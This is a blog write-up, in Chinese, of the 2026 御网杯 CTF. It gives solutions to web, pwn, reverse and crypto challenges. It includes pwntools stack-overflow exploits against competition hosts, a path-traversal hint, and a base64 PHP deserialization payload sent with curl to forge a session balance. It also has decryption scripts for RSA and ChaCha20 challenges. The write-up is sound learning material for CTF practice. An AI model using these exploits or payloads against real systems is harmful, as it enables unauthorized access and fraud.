2026御网杯wp
2026御网杯wp
本文最后更新于11 天前,如有问题请发送邮件到166838202@qq.com或bilibili私信

碎碎念

这是我初学CTF打的题目最多的一个比赛(但是是由队友带飞和AI神力),之前的CISCN和蓝桥杯做出的题目都太少,完全不知道专门发博客(说白了我太菜)。
不过这篇wp里面绝大部分内容我还是看不懂~~~ 希望以后能都懂吧……

WEB-Snake_Game

题目截图

Pasted image 20260530110014

根据提示信息,我们得到300分即可获取flag。
按F12查看前端代码,发现checkWin(s)函数:

function checkWin(s) {
            let formData = new FormData();
            formData.append('score', s);
            fetch('index.php', { method: 'POST', body: formData })
            .then(r => r.json())
            .then(data => {
                let msgEl = document.getElementById('msg');
                if(data.status === 'success') {
                    msgEl.style.color = '#2ecc71';
                    msgEl.innerText = data.flag;
                } else {
                    msgEl.style.color = '#e74c3c';
                    msgEl.innerText = "Game Over! " + data.message;
                }
            });
        }

其中,它向后端index.php路由发送了一个带有score的POST请求。因此我们可以手动发送请求,并让score足够高。

Pasted image 20260531210119

PWN-Authenticate

题目截图

Pasted image 20260530103038

解题思路

使用IDA逆向题目附件,在login函数中发现使用了存在栈溢出漏洞的gets()函数,且存在backdoor后门函数。因此连接靶机,填充 0x80+8 个字符后填入backdoor+5地址(0x4011FB)(越过push rbp避免栈指针错位),即可getshell。

from pwn import *

sh = remote('120.27.146.76', 28517)

pad = 0x88
target = 0x4011FB

sh.sendline(b'awa')
sh.sendline(b'a' * pad + p64(target))

sh.interactive()

Pasted image 20260530103919

PWN-NoteService

题目截图

Pasted image 20260530104021

解题思路

将vuln文件用IDA分析,注意到read函数可接受的长度远大于buf(0x100 > 64),且存在后门函数secret_note,存在栈溢出漏洞。
填入 0x48 垃圾数据后发送secret_note+5即可(避免栈指针错位)。

from pwn import *

sh = remote('47.99.147.34', 21314)

target = 0x40119B
pad = 0x48

sh.sendline(b'a' * pad + p64(target))
sh.interactive()

Pasted image 20260530103233

rerere

题目截图

Pasted image 20260530104452

解题思路

运行文件,发现要求输入一段文本,随便输入一些后输出Wrong!并退出。
IDA分析文件,查找字符串Wrong!并在IDA View中打开,寻找DATA XREF引用,定位到函数sub_1400014FB。简单分析可发现,除去n外,flag长度为38。在输出Correct的if分支条件里找到check函数,它将输入与另一段数据key按位模8异或,并将得到的值作为下标索引取另一大段数据内的数据,拼在一起得到一段密文。
因此思路可以明确:先将密文中的每一个字节按位对应找到相应下标,再将所有下标与key按位模8异或,即可得到原文。

mapping = '''C2 23 97 49 83 F6 D3 A7  EB BF 78 C3 29 56 D2 1A
13 BC 21 6A 37 8E 5F 0C  B4 46 DE E4 6C A2 66 30
0F A4 BB 8C 09 4B 3D 32  42 55 2D 4F F9 77 1B 74
1F 71 7B 9D 73 C4 AB D0  F3 C1 88 07 DC CE EF C0
72 4A 27 81 9B EE C7 28  26 5A 94 54 70 D1 E9 C8
98 36 91 41 B8 3A 79 0A  08 E5 AF 80 24 AE 00 19
CC 7A F7 51 7D 69 EC 03  65 25 1C 01 F5 E6 BD D9
59 FE 92 B0 10 6F F0 E3  9F AD 84 F4 A5 33 35 48
53 B1 E0 D8 05 38 18 68  A9 14 C6 3F 61 8A 31 3B
BA 2B 4E E2 57 9A F1 EA  64 7E A0 93 B6 DA 60 2E
1D 5B 82 34 6D FC CF 7F  E7 96 67 43 06 44 C9 4C
40 DB FD 4D B5 ED 39 2C  B3 17 9E CD FA 6B CA 87
8F 9C 89 0E 63 45 86 AA  5E 95 16 C5 D5 2F A1 F8
99 FF 3C 0D 3E D4 04 76  D7 47 20 8D DF 5C 7C A3
1E 8B 15 B9 A8 CB 22 A6  52 D6 FB 5D DD B2 6E E8
F2 E1 2A 58 62 12 11 50  75 B7 AC 90 0B 85 02 BE'''.replace(' ', '')
mapping = bytes.fromhex(mapping)
print(mapping)

enc = '''A3 5B 4C 0A 0E C2 33 D5  5C 90 E7 A7 14 3A 84 DA
31 B7 44 BF C6 3A F9 C5  20 12 AC C2 C6 91 35 64
A3 62 90 83 53 6C'''.replace(' ', '')
enc = bytes.fromhex(enc)

key = 'B9 CD CE 30 B8 61 4E AA'.replace(' ', '')
key = bytes.fromhex(key)

indexes = []
for b in enc:
    print(b)
    indexes.append(mapping.index(b.to_bytes(1)))

print(indexes)

final = ''
v2 = 0
for i in indexes:
    final += chr(i ^ (key[v2 % 8]))
    v2 += 1

print(final)

Pasted image 20260530105350

字节码迷踪

题目截图

Pasted image 20260530105434

解题思路

直接逆向pyc文件,得到部分源码:

#!/usr/bin/env python
import base64

def decrypt_flag(encoded_data, key):
    pass
# WARNING: Decompyle incomplete

def main():
    encoded_flag = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
    xor_key = 22
    user_input = input('请输入flag: ').strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print('正确!')
        return None
    print('错误!')

if __name__ == '__main__':
    main()
    return None

decrypt_flag函数并没有逆向出来,但根据变量名可以猜出是xor加密,密钥22(0x16),而encoded_flag存在+号,疑似Base64字符串。解密得到flag。

import base64

enc = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
enc = base64.b64decode(enc)

key = 22

for i in enc:
    print((i ^ key).to_bytes(1).decode(), end='')

Pasted image 20260530105902

DES加密验证

题目截图

Pasted image 20260530164741

将附件使用jadx分析,在MainActivity中发现使用反射动态加载了com.cr.test.wide类,从中找到了verify函数。函数调用了verifyFlag(String str) native方法,因此从jnilib中寻找验证函数。
将so文件用ida分析,通过OnLoad找到动态加载函数表,找到verifyFlag函数。经过分析,输入的字符串先进行一次PCKS7填充,后被用于DES加密,但加密的结果并没有被使用,而是直接将填充后的字符串转hex存储。因此可逆向flag。

Pasted image 20260530210258

幻影

题目截图

Pasted image 20260530164745

解题思路

得到data.bin文件,用010editor查看16进制,发现提示进行了base64和异或
推测下面部分位加密后结果

Nz0wNio1MmVmYTJhaHw1ZzQyfGU1ZjJ8aDIwZ3wwaWRjYmRiNGJlMzMs

Pasted image 20260530164648

base64解密得到7=0开头,对应16进制37 3D 30,由异或的原理(A ^ B = CA ^ C = B)和结果位f开头推测,0x37 ^ 0x66 = 0x51,推测异或数字位0x51
用cyberchef得到flag
Pasted image 20260530165318

签到题-损坏的压缩包

题目截图

Pasted image 20260530164308

解题思路

得到个txt文件,内容:

bmR0Zw==

用cyberchef来base64解密得到flag( 补全flag和{})

Pasted image 20260530164323

迷宫

题目截图

Pasted image 20260530170454

解题思路

打开文件,最终得到vault.bin文件,用010editor打开

Pasted image 20260530171007

base64解密,用cyberchef,补全flag

Pasted image 20260530171136

babyRSA

题目截图

Pasted image 20260530171724

解题思路

得到output和task.py代码
基础RSA,直接给python脚本

from Crypto.Util.number import long_to_bytes  

n = 119462420784154105287477907338687314148748680087062818596679748019039874463028245176436697023028139386911200014457634920585600705258627806780412113594113427042570622210385728200137718026136892943193293629041610913603165173168203542499119014715006667033837430631135192669531260141856380589300121127571331140647  
e = 3  
c = 2217344750798484326817212181921397010209057560599949572118805610572489689091481005306684821038929111122282814090181724832846969082741139590693697098487985460761901508186753252919647300276269339282712874683171961658223852440260976026280149180616107949832622420023125006244197  

def integer_cbrt(n):  
    low = 1  
    high = n  
    while low < high:  
        mid = (low + high) // 2  
        if mid**3 < n:  
            low = mid + 1  
        else:  
            high = mid  
    return low  

m = integer_cbrt(c)  

if m**3 == c:
    flag = long_to_bytes(m)  
    print("Flag: ", flag.decode('utf-8'))

得到flag

Pasted image 20260531210207

ScatterRSA10

题目截图

Pasted image 20260530172927

解题思路

从文件中得到task.py和output.txt

这道题是极其经典的 RSA 线性填充广播攻击(Hastad’s Broadcast Attack)。

题目把同一个明文 Flag,经过了 3 次不同的随机加噪处理($a cdot m + b$),然后用相同的极小公钥指数 $e = 3$ 进行了 3 次 RSA 加密。

虽然加入了 $a$ 和 $b$ 的干扰,但因为公钥指数 $e=3$ 实在是太小了,而且我们手握 3 组不同的密文和模数($n_1, n_2, n_3$)。这意味着,我们可以利用中国剩余定理(CRT)把这 3 个加密方程融合成一个巨大的方程。在这个巨型方程里,我们要找的 Flag 长度相对于方程的规模来说非常小,这就满足了 Coppersmith 定理 的求解条件,可以直接出答案。

利用已知参数,将 3 个信道的加密方程分别改写为以 $x^3$ 开头的标准多项式。使用 CRT,把这 3 个独立多项式的系数融合成一个模 $N$($N = n_1 cdot n_2 cdot n_3$)的全局多项式。
将合并后的多项式放进 SageMath 环境中,直接调用内置的 .small_roots() 自动求解出代表 Flag 整数值的 $m$。将得到的长整数 $m$ 转换回十六进制,再翻译成常规字符串

使用在线平台运行sage代码 sagecell.sagemath.org

n1 = 78081870337844414151241100305158826036375259465973937152030168481472074627679922817572311521252935997797052713882730821458948887248271287486322664809111447767214849959631852414688303170071807154156181079411302069530277397488939107857192997361132976176030487000445122823976567397443528813759208405977421005221
a1 = 187123381335987084337749097513339776382
b1 = 97209934871826592730509592795116155578419009399702491386475812956341303721955
c1 = 14123478097555544583040915650622954051865393647452672192119376894613088319670171524620165803687113853287440124300534523915757452838191529401351103434081352612662863012249389885160910664649407564203742220725280677270280439758021531155314255114762144862618860795080828651022096534091658229812919874812038277765

n2 = 151298592284001160632170405845753959036244653410892577293430940404341362490681866811415774669776195998526885548860876628647806811333915771852617451974282503276734816183085207960566719048869313969576061706357425836858627350032928726041836856560590797190119412160618944863771627536132838876605883991970892962193
a2 = 255028239960364829019667959380443332639
b2 = 75168460615495162386855776280390548051362095782752087871619896408940387062248
c2 = 147458755573177812766535997252156093328108537370116815674293282928365573512879441899814507479182611225079060254576242105206605583257270697125272066345762421410211017283262151880295537520725338228346626840605498567485989997707003616168214508795014149221418862470567239522513586735123900093358395338873917731365

n3 = 123780523634252096831680175316357288442265880579703275997478211251677743044096940923671388596333127526795194955612937986046444715991687899935054199805982269720064313957492856004199361000831620913715613106431607539983125960124285449295999239150639249585185515802154914674109087962005299156068008961415619788389
a3 = 170648777349710569773110487741653328136
b3 = 101656356358739203413100846765861840472115679906812525745896505745960127967887
c3 = 53415312813469381910901019087411336867228073148904651325937527207519414663703187305012971839144832933909714678630249138922137182970593182398234687600925206853876533503578712580071267901698423210441011509820482418257689331627293315735686036309282160156985499818089798596867969353597661163154295571213437645132

N = n1 * n2 * n3

inv_a1 = inverse_mod(a1, n1)
c2_1 = (3 * b1 * inv_a1) % n1
c1_1 = (3 * pow(b1 * inv_a1, 2, n1)) % n1
c0_1 = ((pow(b1, 3, n1) - c1) * pow(inv_a1, 3, n1)) % n1

inv_a2 = inverse_mod(a2, n2)
c2_2 = (3 * b2 * inv_a2) % n2
c1_2 = (3 * pow(b2 * inv_a2, 2, n2)) % n2
c0_2 = ((pow(b2, 3, n2) - c2) * pow(inv_a2, 3, n2)) % n2

inv_a3 = inverse_mod(a3, n3)
c2_3 = (3 * b3 * inv_a3) % n3
c1_3 = (3 * pow(b3 * inv_a3, 2, n3)) % n3
c0_3 = ((pow(b3, 3, n3) - c3) * pow(inv_a3, 3, n3)) % n3

C2 = crt([c2_1, c2_2, c2_3], [n1, n2, n3])
C1 = crt([c1_1, c1_2, c1_3], [n1, n2, n3])
C0 = crt([c0_1, c0_2, c0_3], [n1, n2, n3])

P.<x> = PolynomialRing(Zmod(N))
f = x^3 + C2*x^2 + C1*x + C0

print("LLL...")
roots = f.small_roots(X=2^512, beta=1)

if roots:
    m = int(roots[0])

    hex_str = hex(m)[2:]
    if len(hex_str) % 2 != 0:
        hex_str = '0' + hex_str

    try:
        flag = bytes.fromhex(hex_str).decode('utf-8')
        print("Flag: ", flag)
    except Exception as e:
        print(hex_str)
else:
    print("nothing")

ChaCha20

题目截图

Pasted image 20260530174245

解题思路

用 IDA 打开 SO 文件,由于根据题意得知流密码,首先考虑通过算法的特征立即数进行定位。

ChaCha20 算法在初始化其 $4 times 4$ 矩阵时,必然会将固定常量字符串切分为 4 个 32 位的整数填入矩阵的前 16 个字节 。

在 IDA 中使用 Search -> Immediate value 全局检索常数 0x61707865(即字符串 expand 32-byte k 的前四个字节小端序) 。

双击检索结果,加密函数 sub_26CC0 为ChaCha20加密算法。
sub_26CC0 函数名上按快捷键 X 查看交叉引用,追溯到其上层包装函数 sub_25740

unk_F2E1 :跳转到该内存地址,提取出硬编码的连续 32 字节十六进制数据:149263A16F2D89CBF0375B1CA94E78D3226017EE9ABC4D0853E1762A8DC4903F
unk_F301 :跳转提取出连续 12 字节十六进制数据:44332211ABCDEF668899AA55

继续对 sub_25740 向上追溯,最终来到外层验证函数 sub_25330 。 在 sub_25330 中,程序在加密完成后调用了字符表 123456789abcdef,说明异或后的二进制密钥流结果被转化为了可见的 Hex 字符串 。而在之后的 for 循环比对中,程序将生成的 Hex 与硬编码的目标数据进行了逐位校验 。

在导出的数据段 .rodata 中,在相对应的偏置位置成功剥离出出题人写死的最终 Hex 密文字符串:

d097c3f6d2238172e871ee74bca5859f88178f6e

在编写解密脚本时涉及一个极其隐蔽的本地坑点:在上层函数 sub_25740 中,程序初始化的计数器变量被控制为 v10 = 1;,并且随后在调用核心引擎时执行 sub_26CC0(v7, v10++, ...) 。这意味着 SO 层实现的 ChaCha20 块计数器(Counter)是从 1 开始递增计算的,而非标准密码学库默认的 0 。

为了在 Python 中对齐这种特殊的内部状态,解密前需要先让密码器去解密 64 个空字节(即 1 个 Block 长度),强行将内部的 Counter 状态推进到 1,然后再传入真正的密文进行解密 。

from Crypto.Cipher import ChaCha20  

key = bytes.fromhex("149263A16F2D89CBF0375B1CA94E78D3226017EE9ABC4D0853E1762A8DC4903F")
nonce = bytes.fromhex("44332211ABCDEF668899AA55")  

ciphertext_hex = "d097c3f6d2238172e871ee74bca5859f88178f6e"  
ciphertext = bytes.fromhex(ciphertext_hex)  

cipher = ChaCha20.new(key=key, nonce=nonce)
cipher.decrypt(b'x00' * 64)
plaintext = cipher.decrypt(ciphertext)
print(plaintext.decode('utf-8', errors='ignore'))

Pasted image 20260531210229

WEB-Enterprise_OA

题目截图

环境关闭,无法复现。

解题思路

由题,提示路径穿越。通过修改module参数为“flag.txt”,即可得到flag。

Payment

题目截图

环境关闭,无法复现。

解题思路

从题目下载附件,解压后得到源码文件src

  1. 审计源码发现 /api/apply_coupon.php 直接对用户传入的 Base64 内容执行:

    unserialize($decoded)

  2. models.php 里存在可利用类:

    class PromoManager {
       public $promo_credit;
       public $promo_code;
    
       function __destruct() {
           if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
               $_SESSION['balance'] += intval($this->promo_credit);
           }
       }
    }

    反序列化 PromoManager 对象后,请求结束时触发 __destruct(),可以给当前 session 增加余额。

  3. 构造对象:

    O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:3:"VIP";}

    Base64 后为:

    TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9
  4. 使用同一个 cookie 会话提交优惠券,再购买 flag:

    BASE='http://47.99.147.34:19231'
    COOKIE=/tmp/ctf_cookie_19231.txt
    PAYLOAD='TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9'
    
    curl -s -c "$COOKIE" "$BASE/" >/dev/null
    
    curl -s -b "$COOKIE" -c "$COOKIE" 
     -X POST "$BASE/api/apply_coupon.php" 
     -H 'Content-Type: application/x-www-form-urlencoded' 
     --data-urlencode "coupon=$PAYLOAD"
    
    curl -s -b "$COOKIE" -c "$COOKIE" 
     -X POST "$BASE/buy.php" 
     -H 'Content-Type: application/x-www-form-urlencoded' 
     --data-urlencode 'item=flag'
  5. 返回中出现:

    flag{89a06d987bdf79718d6c0c60ea91fcf5}

所以最终 flag:

flag{89a06d987bdf79718d6c0c60ea91fcf5}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇